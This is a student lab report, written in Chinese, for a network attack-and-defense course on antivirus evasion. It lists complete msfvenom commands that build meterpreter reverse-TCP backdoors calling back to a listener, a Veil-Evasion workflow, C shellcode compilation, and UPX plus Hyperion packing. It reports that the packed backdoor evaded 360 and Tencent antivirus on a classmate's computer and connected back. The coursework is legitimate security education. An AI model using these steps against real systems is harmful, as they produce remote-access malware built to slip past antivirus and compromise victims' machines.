20165214 2018-2019-2 《網絡對抗技術》Exp3 免殺原理與實踐 Week5
《網絡對抗技術》Exp3 免殺原理與實踐 Week5
一、實驗內容
1、正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,加殼工具,使用shellcode編程;
2、通過組合應用各種技術實現惡意代碼免殺;
3、用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本;
二、實驗步驟
步驟一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,加殼工具,使用shellcode編程;
msf嘗試
1、在命令行輸入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf.exe
2、上面是只進行一次編碼,接下來編碼十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.20.10.3 LPORT=5214 -f exe > 5214msf-10.exe
。再把它上傳到VirusTotal,檢測結果如下:
可以看到還是有48個殺軟檢測出來了,編碼多次和編碼一次的免殺效果差別不大。因為我們使用的是同樣的模板,殺軟只要針對這個模板有所防備就行了,
使用msf生成其他格式的文件(參考博客Metasploit之多種後門生成)
1、生成jar:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 W >5214msf-java.jar
,檢測結果:
2、生成php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f raw >5214msf-php.php
,檢測結果:
3、生成jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.20.10.3 LPORT=5214 R >5214msf-jsp.jsp
veil-evasion的嘗試
- 1、安裝Veil-Evasion。
- 參考同學的博客,先執行
mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 安裝Veil-Evasion:
sudo apt-get install veil-evasion
- 輸入
veil
打開veil,第一次打開時需要進行安裝
這應該是這個實驗最最最最花時間的部分了。。和各位同學遇到的問題一樣,我也是各種卡,卡%16,%25,%91等等等等。但是我一直等了下去,等了4、5個小時,之間經歷了斷網重來,中間還又裝了和Python相關的3、4個軟件,令人絕望。後來終於下好了!輸入veil後出現界面:
2、打開veil後,先輸入
use evasion
進入evasion界面。
- 3、生成後門程序
輸入
use c/meterpreter/rev_tcp.py
- 輸入
set LHOST 172.20.10.3
設置回連地址(這裏的IP地址是kali虛擬機的ip地址) - 輸入
set LPORT 5214
設置回連端口 - 輸入
generate
生成文件 最後輸入你想要給後門程序起的名字,這裏我輸入的是
5214-veil
。成功生成文件:
文件默認在/var/lib/veil/output/compiled/5214-veil1.exe
。
4、使用VirusTotal進行檢測,發現還是有37個殺軟能夠檢測出來:
使用shellcode編程
1、在命令行中輸入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=5214 -f c
來生成C語言格式的ShellCode數組。
2、創建
5214-shell.c
創建.c文件,輸入下圖中的代碼,其中buf數組中的值就是上面生成的。
3、輸入
i686-w64-mingw32-g++ 5214-shell.c -o 5214-shell.exe
進行編譯。將得到的5214-shell.exe先使用VirusTotal進行檢測,結果如下:
4、打開msfconsole,再在本機上打開5214-shell.exe,此時發現無法連接(但是在下面加殼過後就可以連接上了)
5、結合使用不同編碼器:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=172.20.10.3 LPORT=5214 -f c
6、創建
5214-shell-extend.c
創建.c文件,輸入下圖中的代碼,其中buf數組中的值就是上面生成的(buf太長,省略一部分)。
7、輸入
i686-w64-mingw32-g++ 5214-shell-extend.c -o 5214-shell-extend.exe
進行編譯。將得到的5214-shell-extend.exe先使用VirusTotal進行檢測,結果如下:
加殼工具
加殼是對相應的資源進行壓縮,壓縮後仍可運行。它可以用來保護版權,但同時許多病毒也利用它來作為原理。接下來將使用壓縮殼和保密殼來進行試驗。
- 1、壓縮殼(UPX)
輸入
upx 5214-shell.exe -o UPX5214-shell.exe
進行加殼
加殼後進行檢測,如下:
嘗試進行回連,成功:
- 2、加密殼Hyperion
考慮到下一步就是組合技術實現免殺,所以我就直接把加壓縮殼後的文件直接再加加密殼。
將UPX5214-shell.exe復制到
/usr/share/windows-binaries/hyperion/
在目錄
/usr/share/windows-binaries/hyperion/
下輸入wine hyperion.exe -v UPX5214-shell.exe HyperionUPX5214-shell.exe
再次進行加殼:
進行免殺檢測:
嘗試進行回連:
步驟二:通過組合應用各種技術實現惡意代碼免殺;
- 開啟360,把在步驟一中最終生成的
hyUPX5214-shell.exe
放到本機中,發現沒有被查殺:
步驟三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本;
把文件發到同學的電腦上(裝有騰訊管家13.0.19837.233),沒有被殺掉。
在我的kali上打開msfconsole,然後在同學的電腦上運行後門程序,成功連上
三、遇到的問題
1、在使用msf生成的shellcode編譯成文件來嘗試進行回連時失敗了,但是加殼後回連就成功了。現在還沒有發現其原因。
2、老師的指導書中一些說殺軟殺不出來的地方,結果殺軟都殺掉了。。。這是不是也說明了殺毒軟件也是在不停發展的?我們實驗所用的處理軟件都是比較常用的,加上我們的步驟都是比較簡單的,很容易成為殺軟的識別對象。
四、基礎問題問答
- 1、殺軟是如何檢測出惡意代碼的?
答:基於特征碼的檢測:簡單來說一段特征碼就是一段或多段數據。如果一個可執行文件(或其他運行的庫、腳本等)包含這樣的數據則被認為是惡意代碼。
啟發式惡意軟件檢測:對惡意軟件檢測來主說,就是如果一個軟件在幹通常是惡意軟件幹的事,看起來了像個惡意軟件,就把它當成一個惡意軟件進行檢查。典型的行為如連接惡意網站、開放端口、修改系統文件,典型的“外觀”如文件本身簽名、結構、廠商等信息等。
基於行為的惡意軟件檢測:基於行為的檢測相當於是啟發式的一種,或者是加入了行為監控的啟發式- 2、免殺是做什麽?
答:免殺就是讓安插的後門不被AV軟件發現
- 3、免殺的基本方法有哪些?
- 答:
- 改變特征碼
- 如果你手裏只有EXE
- 加殼:壓縮殼 加密殼
- 有shellcode(像Meterpreter)
- 用encode進行編碼
- 基於payload重新編譯生成可執行文件
- 有源代碼
- 用其他語言進行重寫再編譯(veil-evasion)
- 如果你手裏只有EXE
- 改變行為
- 通訊方式
- 盡量使用反彈式連接
- 使用隧道技術
- 加密通訊數據
- 操作模式
- 基於內存操作
- 減少對系統的修改
- 加入混淆作用的正常功能代碼
- 通訊方式
- 4、開啟殺軟能絕對防止電腦中惡意代碼嗎?
答:從實驗中就可以知道不可以。
五、心得體會
這次實驗讓我知道了有很多殺毒軟件其實是不管用的,一些簡單的操作就能夠迷惑他們。但是,殺毒軟件也是不斷地在更新的,以前學長學姐們可以正常存留下來的程序,我在做的時候就都被殺軟發現了。感覺實驗還是很有趣的,畢竟和現實練習是很密切的。這次實驗讓我感受到了免殺的強大力量,也讓我感受到了自己的能力有限。今後應加強學習,不斷提高自己的網絡安全能力。
20165214 2018-2019-2 《網絡對抗技術》Exp3 免殺原理與實踐 Week5